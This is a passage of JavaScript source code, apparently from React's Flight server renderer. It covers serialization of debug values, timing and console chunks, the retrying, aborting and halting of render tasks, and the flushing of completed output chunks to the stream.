}\n    if (value instanceof Map) {\n      return serializeDebugMap(request, counter, value);\n    }\n    if (value instanceof Set) {\n      return serializeDebugSet(request, counter, value);\n    }\n    // TODO: FormData is not available in old Node. Remove the typeof later.\n    if (typeof FormData === 'function' && value instanceof FormData) {\n      return serializeDebugFormData(request, value);\n    }\n    if (value instanceof Error) {\n      return serializeDebugErrorValue(request, counter, value);\n    }\n    if (value instanceof ArrayBuffer) {\n      return serializeDebugTypedArray(request, 'A', new Uint8Array(value));\n    }\n    if (value instanceof Int8Array) {\n      // char\n      return serializeDebugTypedArray(request, 'O', value);\n    }\n    if (value instanceof Uint8Array) {\n      // unsigned char\n      return serializeDebugTypedArray(request, 'o', value);\n    }\n    if (value instanceof Uint8ClampedArray) {\n      // unsigned clamped char\n      return serializeDebugTypedArray(request, 'U', value);\n    }\n    if (value instanceof Int16Array) {\n      // sort\n      return serializeDebugTypedArray(request, 'S', value);\n    }\n    if (value instanceof Uint16Array) {\n      // unsigned short\n      return serializeDebugTypedArray(request, 's', value);\n    }\n    if (value instanceof Int32Array) {\n      // long\n      return serializeDebugTypedArray(request, 'L', value);\n    }\n    if (value instanceof Uint32Array) {\n      // unsigned long\n      return serializeDebugTypedArray(request, 'l', value);\n    }\n    if (value instanceof Float32Array) {\n      // float\n      return serializeDebugTypedArray(request, 'G', value);\n    }\n    if (value instanceof Float64Array) {\n      // double\n      return serializeDebugTypedArray(request, 'g', value);\n    }\n    if (value instanceof BigInt64Array) {\n      // number\n      return serializeDebugTypedArray(request, 'M', value);\n    }\n    if (value instanceof BigUint64Array) {\n      // unsigned number\n      // We use \"m\" instead of \"n\" since JSON can start with \"null\"\n      return serializeDebugTypedArray(request, 'm', value);\n    }\n    if (value instanceof DataView) {\n      return serializeDebugTypedArray(request, 'V', value);\n    }\n    // TODO: Blob is not available in old Node. Remove the typeof check later.\n    if (typeof Blob === 'function' && value instanceof Blob) {\n      return serializeDebugBlob(request, value);\n    }\n\n    const iteratorFn = getIteratorFn(value);\n    if (iteratorFn) {\n      return Array.from((value: any));\n    }\n\n    const proto = getPrototypeOf(value);\n    if (proto !== ObjectPrototype && proto !== null) {\n      const object: Object = value;\n      const instanceDescription: Object = Object.create(null);\n      for (const propName in object) {\n        if (hasOwnProperty.call(value, propName) || isGetter(proto, propName)) {\n          // We intentionally invoke getters on the prototype to read any enumerable getters.\n          instanceDescription[propName] = object[propName];\n        }\n      }\n      const constructor = proto.constructor;\n      if (\n        typeof constructor === 'function' &&\n        constructor.prototype === proto\n      ) {\n        // This is a simple class shape.\n        if (hasOwnProperty.call(object, '') || isGetter(proto, '')) {\n          // This object already has an empty property name. Skip encoding its prototype.\n        } else {\n          instanceDescription[''] = {\n            $$typeof: CONSTRUCTOR_MARKER,\n            constructor: constructor,\n          };\n        }\n      }\n      return instanceDescription;\n    }\n\n    // $FlowFixMe[incompatible-return]\n    return value;\n  }\n\n  if (typeof value === 'string') {\n    if (value.length >= 1024) {\n      // Large strings are counted towards the object limit.\n      if (counter.objectLimit <= 0) {\n        // We've reached our max number of objects to serialize across the wire so we serialize this\n        // as a marker so that the client can error or lazy load this when accessed by the console.\n        return serializeDeferredObject(request, value);\n      }\n      counter.objectLimit--;\n      // For large strings, we encode them outside the JSON payload so that we\n      // don't have to double encode and double parse the strings. This can also\n      // be more compact in case the string has a lot of escaped characters.\n      return serializeDebugLargeTextString(request, value);\n    }\n    return escapeStringValue(value);\n  }\n\n  if (typeof value === 'boolean') {\n    return value;\n  }\n\n  if (typeof value === 'number') {\n    return serializeNumber(value);\n  }\n\n  if (typeof value === 'undefined') {\n    return serializeUndefined();\n  }\n\n  if (typeof value === 'function') {\n    if (isClientReference(value)) {\n      return serializeDebugClientReference(\n        request,\n        parent,\n        parentPropertyName,\n        (value: any),\n      );\n    }\n    if (request.temporaryReferences !== undefined) {\n      const tempRef = resolveTemporaryReference(\n        request.temporaryReferences,\n        value,\n      );\n      if (tempRef !== undefined) {\n        return serializeTemporaryReference(request, tempRef);\n      }\n    }\n\n    // Serialize the body of the function as an eval so it can be printed.\n    const writtenDebugObjects = request.writtenDebugObjects;\n    const existingReference = writtenDebugObjects.get(value);\n    if (existingReference !== undefined) {\n      // We've already emitted this function, so we can\n      // just refer to that by its existing reference.\n      return existingReference;\n    }\n\n    // $FlowFixMe[method-unbinding]\n    const functionBody: string = Function.prototype.toString.call(value);\n\n    const name = value.name;\n    const serializedValue = serializeEval(\n      typeof name === 'string'\n        ? 'Object.defineProperty(' +\n            functionBody +\n            ',\"name\",{value:' +\n            JSON.stringify(name) +\n            '})'\n        : '(' + functionBody + ')',\n    );\n    request.pendingDebugChunks++;\n    const id = request.nextChunkId++;\n    const processedChunk = encodeReferenceChunk(request, id, serializedValue);\n    request.completedDebugChunks.push(processedChunk);\n    const reference = serializeByValueID(id);\n    writtenDebugObjects.set(value, reference);\n    return reference;\n  }\n\n  if (typeof value === 'symbol') {\n    const writtenSymbols = request.writtenSymbols;\n    const existingId = writtenSymbols.get(value);\n    if (existingId !== undefined) {\n      return serializeByValueID(existingId);\n    }\n    // $FlowFixMe[incompatible-type] `description` might be undefined\n    const name: string = value.description;\n    // We use the Symbol.for version if it's not a global symbol. Close enough.\n    request.pendingChunks++;\n    const symbolId = request.nextChunkId++;\n    emitSymbolChunk(request, symbolId, name);\n    return serializeByValueID(symbolId);\n  }\n\n  if (typeof value === 'bigint') {\n    return serializeBigInt(value);\n  }\n\n  return 'unknown type ' + typeof value;\n}\n\nfunction serializeDebugModel(\n  request: Request,\n  objectLimit: number,\n  model: mixed,\n): string {\n  const counter = {objectLimit: objectLimit};\n\n  function replacer(\n    this:\n      | {+[key: string | number]: ReactClientValue}\n      | $ReadOnlyArray<ReactClientValue>,\n    parentPropertyName: string,\n    value: ReactClientValue,\n  ): ReactJSONValue {\n    try {\n      // By-pass toJSON and use the original value.\n      // $FlowFixMe[incompatible-use]\n      const originalValue = this[parentPropertyName];\n      return renderDebugModel(\n        request,\n        counter,\n        this,\n        parentPropertyName,\n        originalValue,\n      );\n    } catch (x) {\n      return (\n        'Unknown Value: React could not send it from the server.\\n' + x.message\n      );\n    }\n  }\n\n  const prevNoOutline = debugNoOutline;\n  debugNoOutline = model;\n  try {\n    // $FlowFixMe[incompatible-cast] stringify can return null\n    return (stringify(model, replacer): string);\n  } catch (x) {\n    // $FlowFixMe[incompatible-cast] stringify can return null\n    return (stringify(\n      'Unknown Value: React could not send it from the server.\\n' + x.message,\n    ): string);\n  } finally {\n    debugNoOutline = prevNoOutline;\n  }\n}\n\nfunction emitOutlinedDebugModelChunk(\n  request: Request,\n  id: number,\n  counter: {objectLimit: number},\n  model: ReactClientValue,\n): void {\n  if (!__DEV__) {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'emitOutlinedDebugModel should never be called in production mode. This is a bug in React.',\n    );\n  }\n\n  if (typeof model === 'object' && model !== null) {\n    // We can't limit outlined values.\n    doNotLimit.add(model);\n  }\n\n  function replacer(\n    this:\n      | {+[key: string | number]: ReactClientValue}\n      | $ReadOnlyArray<ReactClientValue>,\n    parentPropertyName: string,\n    value: ReactClientValue,\n  ): ReactJSONValue {\n    try {\n      // By-pass toJSON and use the original value.\n      // $FlowFixMe[incompatible-use]\n      const originalValue = this[parentPropertyName];\n      return renderDebugModel(\n        request,\n        counter,\n        this,\n        parentPropertyName,\n        originalValue,\n      );\n    } catch (x) {\n      return (\n        'Unknown Value: React could not send it from the server.\\n' + x.message\n      );\n    }\n  }\n\n  const prevModelRoot = debugModelRoot;\n  debugModelRoot = model;\n  if (typeof model === 'object' && model !== null) {\n    // Future references can refer to this object by id.\n    request.writtenDebugObjects.set(model, serializeByValueID(id));\n  }\n  let json: string;\n  try {\n    // $FlowFixMe[incompatible-cast] stringify can return null\n    json = (stringify(model, replacer): string);\n  } catch (x) {\n    // $FlowFixMe[incompatible-cast] stringify can return null\n    json = (stringify(\n      'Unknown Value: React could not send it from the server.\\n' + x.message,\n    ): string);\n  } finally {\n    debugModelRoot = prevModelRoot;\n  }\n\n  const row = id.toString(16) + ':' + json + '\\n';\n  const processedChunk = stringToChunk(row);\n  request.completedDebugChunks.push(processedChunk);\n}\n\nfunction outlineDebugModel(\n  request: Request,\n  counter: {objectLimit: number},\n  model: ReactClientValue,\n): number {\n  if (!__DEV__) {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'outlineDebugModel should never be called in production mode. This is a bug in React.',\n    );\n  }\n\n  const id = request.nextChunkId++;\n  request.pendingDebugChunks++;\n  emitOutlinedDebugModelChunk(request, id, counter, model);\n  return id;\n}\n\nfunction emitConsoleChunk(\n  request: Request,\n  methodName: string,\n  owner: null | ReactComponentInfo,\n  env: string,\n  stackTrace: ReactStackTrace,\n  args: Array<any>,\n): void {\n  if (!__DEV__) {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'emitConsoleChunk should never be called in production mode. This is a bug in React.',\n    );\n  }\n\n  // Ensure the owner is already outlined.\n  if (owner != null) {\n    outlineComponentInfo(request, owner);\n  }\n\n  const payload = [methodName, stackTrace, owner, env];\n  // $FlowFixMe[method-unbinding]\n  payload.push.apply(payload, args);\n  const objectLimit = request.deferredDebugObjects === null ? 500 : 10;\n  let json = serializeDebugModel(\n    request,\n    objectLimit + stackTrace.length,\n    payload,\n  );\n  if (json[0] !== '[') {\n    // This looks like an error. Try a simpler object.\n    json = serializeDebugModel(request, 10 + stackTrace.length, [\n      methodName,\n      stackTrace,\n      owner,\n      env,\n      'Unknown Value: React could not send it from the server.',\n    ]);\n  }\n  const row = ':W' + json + '\\n';\n  const processedChunk = stringToChunk(row);\n  request.completedDebugChunks.push(processedChunk);\n}\n\nfunction emitTimeOriginChunk(request: Request, timeOrigin: number): void {\n  // We emit the time origin once. All ReactTimeInfo timestamps later in the stream\n  // are relative to this time origin. This allows for more compact number encoding\n  // and lower precision loss.\n  request.pendingDebugChunks++;\n  const row = ':N' + timeOrigin + '\\n';\n  const processedChunk = stringToChunk(row);\n  // TODO: Move to its own priority queue.\n  request.completedDebugChunks.push(processedChunk);\n}\n\nfunction forwardDebugInfo(\n  request: Request,\n  task: Task,\n  debugInfo: ReactDebugInfo,\n) {\n  const id = task.id;\n  for (let i = 0; i < debugInfo.length; i++) {\n    const info = debugInfo[i];\n    if (typeof info.time === 'number') {\n      // When forwarding time we need to ensure to convert it to the time space of the payload.\n      // We clamp the time to the starting render of the current component. It's as if it took\n      // no time to render and await if we reuse cached content.\n      markOperationEndTime(request, task, info.time);\n    } else {\n      if (typeof info.name === 'string') {\n        // We outline this model eagerly so that we can refer to by reference as an owner.\n        // If we had a smarter way to dedupe we might not have to do this if there ends up\n        // being no references to this as an owner.\n        outlineComponentInfo(request, (info: any));\n        // Emit a reference to the outlined one.\n        request.pendingChunks++;\n        emitDebugChunk(request, id, info);\n      } else if (info.awaited) {\n        const ioInfo = info.awaited;\n        if (ioInfo.end <= request.timeOrigin) {\n          // This was already resolved when we started this render. It must have been some\n          // externally cached data. We exclude that information but we keep components and\n          // awaits that happened inside this render but might have been deduped within the\n          // render.\n        } else {\n          // Outline the IO info in case the same I/O is awaited in more than one place.\n          outlineIOInfo(request, ioInfo);\n          // Ensure the owner is already outlined.\n          if (info.owner != null) {\n            outlineComponentInfo(request, info.owner);\n          }\n          // We can't serialize the ConsoleTask/Error objects so we need to omit them before serializing.\n          let debugStack;\n          if (info.stack == null && info.debugStack != null) {\n            // If we have a debugStack but no parsed stack we should parse it.\n            debugStack = filterStackTrace(\n              request,\n              parseStackTrace(info.debugStack, 1),\n            );\n          } else {\n            debugStack = info.stack;\n          }\n          const debugAsyncInfo: Omit<\n            ReactAsyncInfo,\n            'debugTask' | 'debugStack',\n          > = {\n            awaited: ioInfo,\n          };\n          if (info.env != null) {\n            // $FlowFixMe[cannot-write]\n            debugAsyncInfo.env = info.env;\n          } else {\n            // If we're forwarding IO info from this environment, an empty env is effectively the \"client\" side.\n            // The \"client\" from the perspective of our client will be this current environment.\n            // $FlowFixMe[cannot-write]\n            debugAsyncInfo.env = (0, request.environmentName)();\n          }\n          if (info.owner != null) {\n            // $FlowFixMe[cannot-write]\n            debugAsyncInfo.owner = info.owner;\n          }\n          if (debugStack != null) {\n            // $FlowFixMe[cannot-write]\n            debugAsyncInfo.stack = debugStack;\n          }\n          request.pendingChunks++;\n          emitDebugChunk(request, id, debugAsyncInfo);\n        }\n      } else {\n        request.pendingChunks++;\n        emitDebugChunk(request, id, info);\n      }\n    }\n  }\n}\n\nfunction forwardDebugInfoFromThenable(\n  request: Request,\n  task: Task,\n  thenable: Thenable<any>,\n  owner: null | ReactComponentInfo, // DEV-only\n  stack: null | Error, // DEV-only\n): void {\n  let debugInfo: ?ReactDebugInfo;\n  if (__DEV__) {\n    // If this came from Flight, forward any debug info into this new row.\n    debugInfo = thenable._debugInfo;\n    if (debugInfo) {\n      forwardDebugInfo(request, task, debugInfo);\n    }\n  }\n  if (enableProfilerTimer && enableAsyncDebugInfo) {\n    const sequence = getAsyncSequenceFromPromise(thenable);\n    if (sequence !== null) {\n      emitAsyncSequence(request, task, sequence, debugInfo, owner, stack);\n    }\n  }\n}\n\nfunction forwardDebugInfoFromCurrentContext(\n  request: Request,\n  task: Task,\n  thenable: Thenable<any>,\n): void {\n  let debugInfo: ?ReactDebugInfo;\n  if (__DEV__) {\n    // If this came from Flight, forward any debug info into this new row.\n    debugInfo = thenable._debugInfo;\n    if (debugInfo) {\n      forwardDebugInfo(request, task, debugInfo);\n    }\n  }\n  if (enableProfilerTimer && enableAsyncDebugInfo) {\n    const sequence = getCurrentAsyncSequence();\n    if (sequence !== null) {\n      emitAsyncSequence(request, task, sequence, debugInfo, null, null);\n    }\n  }\n}\n\nfunction forwardDebugInfoFromAbortedTask(request: Request, task: Task): void {\n  // If a task is aborted, we can still include as much debug info as we can from the\n  // value that we have so far.\n  const model: any = task.model;\n  if (typeof model !== 'object' || model === null) {\n    return;\n  }\n  let debugInfo: ?ReactDebugInfo;\n  if (__DEV__) {\n    // If this came from Flight, forward any debug info into this new row.\n    debugInfo = model._debugInfo;\n    if (debugInfo) {\n      forwardDebugInfo(request, task, debugInfo);\n    }\n  }\n  if (enableProfilerTimer && enableAsyncDebugInfo) {\n    let thenable: null | Thenable<any> = null;\n    if (typeof model.then === 'function') {\n      thenable = (model: any);\n    } else if (model.$$typeof === REACT_LAZY_TYPE) {\n      const payload = model._payload;\n      if (typeof payload.then === 'function') {\n        thenable = payload;\n      }\n    }\n    if (thenable !== null) {\n      const sequence = getAsyncSequenceFromPromise(thenable);\n      if (sequence !== null) {\n        let node = sequence;\n        while (node.tag === UNRESOLVED_AWAIT_NODE && node.awaited !== null) {\n          // See if any of the dependencies are resolved yet.\n          node = node.awaited;\n        }\n        if (node.tag === UNRESOLVED_PROMISE_NODE) {\n          // We don't know what Promise will eventually end up resolving this Promise and if it\n          // was I/O at all. However, we assume that it was some kind of I/O since it didn't\n          // complete in time before aborting.\n          // The best we can do is try to emit the stack of where this Promise was created.\n          serializeIONode(request, node, null);\n          request.pendingChunks++;\n          const env = (0, request.environmentName)();\n          const asyncInfo: ReactAsyncInfo = {\n            awaited: ((node: any): ReactIOInfo), // This is deduped by this reference.\n            env: env,\n          };\n          // We don't have a start time for this await but in case there was no start time emitted\n          // we need to include something. TODO: We should maybe ideally track the time when we\n          // called .then() but without updating the task.time field since that's used for the cutoff.\n          advanceTaskTime(request, task, task.time);\n          emitDebugChunk(request, task.id, asyncInfo);\n        } else {\n          // We have a resolved Promise. Its debug info can include both awaited data and rejected\n          // promises after the abort.\n          emitAsyncSequence(request, task, sequence, debugInfo, null, null);\n        }\n      }\n    }\n  }\n}\n\nfunction emitTimingChunk(\n  request: Request,\n  id: number,\n  timestamp: number,\n): void {\n  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {\n    return;\n  }\n  request.pendingChunks++;\n  const relativeTimestamp = timestamp - request.timeOrigin;\n  const json = '{\"time\":' + relativeTimestamp + '}';\n  if (request.debugDestination !== null) {\n    // Outline the actual timing information to the debug channel.\n    const outlinedId = request.nextChunkId++;\n    const debugRow = outlinedId.toString(16) + ':' + json + '\\n';\n    request.pendingDebugChunks++;\n    request.completedDebugChunks.push(stringToChunk(debugRow));\n    const row =\n      serializeRowHeader('D', id) + '\"$' + outlinedId.toString(16) + '\"\\n';\n    request.completedRegularChunks.push(stringToChunk(row));\n  } else {\n    const row = serializeRowHeader('D', id) + json + '\\n';\n    request.completedRegularChunks.push(stringToChunk(row));\n  }\n}\n\nfunction advanceTaskTime(\n  request: Request,\n  task: Task,\n  timestamp: number,\n): void {\n  if (\n    !enableProfilerTimer ||\n    (!enableComponentPerformanceTrack && !enableAsyncDebugInfo)\n  ) {\n    return;\n  }\n  // Emits a timing chunk, if the new timestamp is higher than the previous timestamp of this task.\n  if (timestamp > task.time) {\n    emitTimingChunk(request, task.id, timestamp);\n    task.time = timestamp;\n  } else if (!task.timed) {\n    // If it wasn't timed before, e.g. an outlined object, we need to emit the first timestamp and\n    // it is now timed.\n    emitTimingChunk(request, task.id, task.time);\n  }\n  task.timed = true;\n}\n\nfunction markOperationEndTime(request: Request, task: Task, timestamp: number) {\n  if (\n    !enableProfilerTimer ||\n    (!enableComponentPerformanceTrack && !enableAsyncDebugInfo)\n  ) {\n    return;\n  }\n  // This is like advanceTaskTime() but always emits a timing chunk even if it doesn't advance.\n  // This ensures that the end time of the previous entry isn't implied to be the start of the next one.\n  if (request.status === ABORTING && timestamp > request.abortTime) {\n    // If we're aborting then we don't emit any end times that happened after.\n    return;\n  }\n  if (timestamp > task.time) {\n    emitTimingChunk(request, task.id, timestamp);\n    task.time = timestamp;\n  } else {\n    emitTimingChunk(request, task.id, task.time);\n  }\n}\n\nfunction emitChunk(\n  request: Request,\n  task: Task,\n  value: ReactClientValue,\n): void {\n  const id = task.id;\n  // For certain types we have special types, we typically outlined them but\n  // we can emit them directly for this row instead of through an indirection.\n  if (typeof value === 'string' && byteLengthOfChunk !== null) {\n    if (enableTaint) {\n      const tainted = TaintRegistryValues.get(value);\n      if (tainted !== undefined) {\n        throwTaintViolation(tainted.message);\n      }\n    }\n    emitTextChunk(request, id, value, false);\n    return;\n  }\n  if (value instanceof ArrayBuffer) {\n    emitTypedArrayChunk(request, id, 'A', new Uint8Array(value), false);\n    return;\n  }\n  if (value instanceof Int8Array) {\n    // char\n    emitTypedArrayChunk(request, id, 'O', value, false);\n    return;\n  }\n  if (value instanceof Uint8Array) {\n    // unsigned char\n    emitTypedArrayChunk(request, id, 'o', value, false);\n    return;\n  }\n  if (value instanceof Uint8ClampedArray) {\n    // unsigned clamped char\n    emitTypedArrayChunk(request, id, 'U', value, false);\n    return;\n  }\n  if (value instanceof Int16Array) {\n    // sort\n    emitTypedArrayChunk(request, id, 'S', value, false);\n    return;\n  }\n  if (value instanceof Uint16Array) {\n    // unsigned short\n    emitTypedArrayChunk(request, id, 's', value, false);\n    return;\n  }\n  if (value instanceof Int32Array) {\n    // long\n    emitTypedArrayChunk(request, id, 'L', value, false);\n    return;\n  }\n  if (value instanceof Uint32Array) {\n    // unsigned long\n    emitTypedArrayChunk(request, id, 'l', value, false);\n    return;\n  }\n  if (value instanceof Float32Array) {\n    // float\n    emitTypedArrayChunk(request, id, 'G', value, false);\n    return;\n  }\n  if (value instanceof Float64Array) {\n    // double\n    emitTypedArrayChunk(request, id, 'g', value, false);\n    return;\n  }\n  if (value instanceof BigInt64Array) {\n    // number\n    emitTypedArrayChunk(request, id, 'M', value, false);\n    return;\n  }\n  if (value instanceof BigUint64Array) {\n    // unsigned number\n    // We use \"m\" instead of \"n\" since JSON can start with \"null\"\n    emitTypedArrayChunk(request, id, 'm', value, false);\n    return;\n  }\n  if (value instanceof DataView) {\n    emitTypedArrayChunk(request, id, 'V', value, false);\n    return;\n  }\n  // For anything else we need to try to serialize it using JSON.\n  // $FlowFixMe[incompatible-type] stringify can return null for undefined but we never do\n  const json: string = stringify(value, task.toJSON);\n  emitModelChunk(request, task.id, json);\n}\n\nfunction erroredTask(request: Request, task: Task, error: mixed): void {\n  if (\n    enableProfilerTimer &&\n    (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n  ) {\n    if (task.timed) {\n      markOperationEndTime(request, task, performance.now());\n    }\n  }\n  task.status = ERRORED;\n  const digest = logRecoverableError(request, error, task);\n  emitErrorChunk(\n    request,\n    task.id,\n    digest,\n    error,\n    false,\n    __DEV__ ? task.debugOwner : null,\n  );\n  request.abortableTasks.delete(task);\n  callOnAllReadyIfReady(request);\n}\n\nconst emptyRoot = {};\n\nfunction retryTask(request: Request, task: Task): void {\n  if (task.status !== PENDING) {\n    // We completed this by other means before we had a chance to retry it.\n    return;\n  }\n\n  const prevCanEmitDebugInfo = canEmitDebugInfo;\n  task.status = RENDERING;\n\n  // We stash the outer parent size so we can restore it when we exit.\n  const parentSerializedSize = serializedSize;\n  // We don't reset the serialized size counter from reentry because that indicates that we\n  // are outlining a model and we actually want to include that size into the parent since\n  // it will still block the parent row. It only restores to zero at the top of the stack.\n  try {\n    // Track the root so we know that we have to emit this object even though it\n    // already has an ID. This is needed because we might see this object twice\n    // in the same toJSON if it is cyclic.\n    modelRoot = task.model;\n\n    if (__DEV__) {\n      // Track that we can emit debug info for the current task.\n      canEmitDebugInfo = true;\n    }\n\n    // We call the destructive form that mutates this task. That way if something\n    // suspends again, we can reuse the same task instead of spawning a new one.\n    const resolvedModel = renderModelDestructive(\n      request,\n      task,\n      emptyRoot,\n      '',\n      task.model,\n    );\n\n    if (__DEV__) {\n      // We're now past rendering this task and future renders will spawn new tasks for their\n      // debug info.\n      canEmitDebugInfo = false;\n    }\n\n    // Track the root again for the resolved object.\n    modelRoot = resolvedModel;\n\n    // The keyPath resets at any terminal child node.\n    task.keyPath = null;\n    task.implicitSlot = false;\n\n    if (__DEV__) {\n      const currentEnv = (0, request.environmentName)();\n      if (currentEnv !== task.environmentName) {\n        request.pendingChunks++;\n        // The environment changed since we last emitted any debug information for this\n        // task. We emit an entry that just includes the environment name change.\n        emitDebugChunk(request, task.id, {env: currentEnv});\n      }\n    }\n    // We've finished rendering. Log the end time.\n    if (\n      enableProfilerTimer &&\n      (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n    ) {\n      if (task.timed) {\n        markOperationEndTime(request, task, performance.now());\n      }\n    }\n\n    if (typeof resolvedModel === 'object' && resolvedModel !== null) {\n      // We're not in a contextual place here so we can refer to this object by this ID for\n      // any future references.\n      request.writtenObjects.set(resolvedModel, serializeByValueID(task.id));\n\n      // Object might contain unresolved values like additional elements.\n      // This is simulating what the JSON loop would do if this was part of it.\n      emitChunk(request, task, resolvedModel);\n    } else {\n      // If the value is a string, it means it's a terminal value and we already escaped it\n      // We don't need to escape it again so it's not passed the toJSON replacer.\n      // $FlowFixMe[incompatible-type] stringify can return null for undefined but we never do\n      const json: string = stringify(resolvedModel);\n      emitModelChunk(request, task.id, json);\n    }\n\n    task.status = COMPLETED;\n    request.abortableTasks.delete(task);\n    callOnAllReadyIfReady(request);\n  } catch (thrownValue) {\n    if (request.status === ABORTING) {\n      request.abortableTasks.delete(task);\n      task.status = PENDING;\n      if (request.type === PRERENDER) {\n        // When aborting a prerener with halt semantics we don't emit\n        // anything into the slot for a task that aborts, it remains unresolved\n        haltTask(task, request);\n        finishHaltedTask(task, request);\n      } else {\n        // Otherwise we emit an error chunk into the task slot.\n        const errorId: number = (request.fatalError: any);\n        abortTask(task, request, errorId);\n        finishAbortedTask(task, request, errorId);\n      }\n      return;\n    }\n\n    const x =\n      thrownValue === SuspenseException\n        ? // This is a special type of exception used for Suspense. For historical\n          // reasons, the rest of the Suspense implementation expects the thrown\n          // value to be a thenable, because before `use` existed that was the\n          // (unstable) API for suspending. This implementation detail can change\n          // later, once we deprecate the old API in favor of `use`.\n          getSuspendedThenable()\n        : thrownValue;\n    if (typeof x === 'object' && x !== null) {\n      // $FlowFixMe[method-unbinding]\n      if (typeof x.then === 'function') {\n        // Something suspended again, let's pick it back up later.\n        task.status = PENDING;\n        task.thenableState = getThenableStateAfterSuspending();\n        const ping = task.ping;\n        x.then(ping, ping);\n        return;\n      }\n    }\n    erroredTask(request, task, x);\n  } finally {\n    if (__DEV__) {\n      canEmitDebugInfo = prevCanEmitDebugInfo;\n    }\n    serializedSize = parentSerializedSize;\n  }\n}\n\nfunction tryStreamTask(request: Request, task: Task): void {\n  // This is used to try to emit something synchronously but if it suspends,\n  // we emit a reference to a new outlined task immediately instead.\n  const prevCanEmitDebugInfo = canEmitDebugInfo;\n  if (__DEV__) {\n    // We can't emit debug into to a specific row of a stream task. Instead we leave\n    // it false so that we instead outline the row to get a new canEmitDebugInfo if needed.\n    canEmitDebugInfo = false;\n  }\n  const parentSerializedSize = serializedSize;\n  try {\n    emitChunk(request, task, task.model);\n  } finally {\n    serializedSize = parentSerializedSize;\n    if (__DEV__) {\n      canEmitDebugInfo = prevCanEmitDebugInfo;\n    }\n  }\n}\n\nfunction performWork(request: Request): void {\n  markAsyncSequenceRootTask();\n\n  const prevDispatcher = ReactSharedInternals.H;\n  ReactSharedInternals.H = HooksDispatcher;\n  const prevRequest = currentRequest;\n  currentRequest = request;\n  prepareToUseHooksForRequest(request);\n\n  try {\n    const pingedTasks = request.pingedTasks;\n    request.pingedTasks = [];\n    for (let i = 0; i < pingedTasks.length; i++) {\n      const task = pingedTasks[i];\n      retryTask(request, task);\n    }\n    flushCompletedChunks(request);\n  } catch (error) {\n    logRecoverableError(request, error, null);\n    fatalError(request, error);\n  } finally {\n    ReactSharedInternals.H = prevDispatcher;\n    resetHooksForRequest();\n    currentRequest = prevRequest;\n  }\n}\n\nfunction abortTask(task: Task, request: Request, errorId: number): void {\n  if (task.status !== PENDING) {\n    // If this is already completed/errored we don't abort it.\n    // If currently rendering it will be aborted by the render\n    return;\n  }\n  task.status = ABORTED;\n}\n\nfunction finishAbortedTask(\n  task: Task,\n  request: Request,\n  errorId: number,\n): void {\n  if (task.status !== ABORTED) {\n    return;\n  }\n  forwardDebugInfoFromAbortedTask(request, task);\n  // Track when we aborted this task as its end time.\n  if (\n    enableProfilerTimer &&\n    (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n  ) {\n    if (task.timed) {\n      markOperationEndTime(request, task, request.abortTime);\n    }\n  }\n  // Instead of emitting an error per task.id, we emit a model that only\n  // has a single value referencing the error.\n  const ref = serializeByValueID(errorId);\n  const processedChunk = encodeReferenceChunk(request, task.id, ref);\n  request.completedErrorChunks.push(processedChunk);\n}\n\nfunction haltTask(task: Task, request: Request): void {\n  if (task.status !== PENDING) {\n    // If this is already completed/errored we don't abort it.\n    // If currently rendering it will be aborted by the render\n    return;\n  }\n  task.status = ABORTED;\n}\n\nfunction finishHaltedTask(task: Task, request: Request): void {\n  if (task.status !== ABORTED) {\n    return;\n  }\n  forwardDebugInfoFromAbortedTask(request, task);\n  // We don't actually emit anything for this task id because we are intentionally\n  // leaving the reference unfulfilled.\n  request.pendingChunks--;\n}\n\nfunction flushCompletedChunks(request: Request): void {\n  if (__DEV__ && request.debugDestination !== null) {\n    const debugDestination = request.debugDestination;\n    beginWriting(debugDestination);\n    try {\n      const debugChunks = request.completedDebugChunks;\n      let i = 0;\n      for (; i < debugChunks.length; i++) {\n        request.pendingDebugChunks--;\n        const chunk = debugChunks[i];\n        writeChunkAndReturn(debugDestination, chunk);\n      }\n      debugChunks.splice(0, i);\n    } finally {\n      completeWriting(debugDestination);\n    }\n    flushBuffered(debugDestination);\n  }\n  const destination = request.destination;\n  if (destination !== null) {\n    beginWriting(destination);\n    try {\n      // We emit module chunks first in the stream so that\n      // they can be preloaded as early as possible.\n      const importsChunks = request.completedImportChunks;\n      let i = 0;\n      for (; i < importsChunks.length; i++) {\n        request.pendingChunks--;\n        const chunk = importsChunks[i];\n        const keepWriting: boolean = writeChunkAndReturn(destination, chunk);\n        if (!keepWriting) {\n          request.destination = null;\n          i++;\n          break;\n        }\n      }\n      importsChunks.splice(0, i);\n\n      // Next comes hints.\n      const hintChunks = request.completedHintChunks;\n      i = 0;\n      for (; i < hintChunks.length; i++) {\n        const chunk = hintChunks[i];\n        const keepWriting: boolean = writeChunkAndReturn(destination, chunk);\n        if (!keepWriting) {\n          request.destination = null;\n          i++;\n          break;\n        }\n      }\n      hintChunks.splice(0, i);\n\n      // Debug meta data comes before the model data because it will often end up blocking the model from\n      // completing since the JSX will reference the debug data.\n      if (__DEV__ && request.debugDestination === null) {\n        const debugChunks = request.completedDebugChunks;\n        i = 0;\n        for (; i < debugChunks.length; i++) {\n          request.pendingDebugChunks--;\n          const chunk = debugChunks[i];\n          const keepWriting: boolean = writeChunkAndReturn(destination, chunk);\n          if (!keepWriting) {\n            request.destination = null;\n            i++;\n            break;\n          }\n        }\n        debugChunks.splice(0, i);\n      }\n\n      // Next comes model data.\n      const regularChunks = request.completedRegularChunks;\n      i = 0;\n      for (; i < regularChunks.length; i++) {\n        request.pendingChunks--;\n        const chunk = regularChunks[i];\n        const keepWriting: boolean = writeChunkAndReturn(destination, chunk);\n        if (!keepWriting) {\n          request.destination = null;\n          i++;\n          break;\n        }\n      }\n      regularChunks.splice(0, i);\n\n      // Finally, errors are sent. The idea is that it's ok to delay\n      // any error messages and prioritize display of other parts of\n      // the page.\n      const errorChunks = request.completedErrorChunks;\n      i = 0;\n      for (; i < errorChunks.length; i++) {\n        request.pendingChunks--;\n        const chunk = errorChunks[i];\n        const keepWriting: boolean = writeChunkAndReturn(destination, chunk);\n        if (!keepWriting) 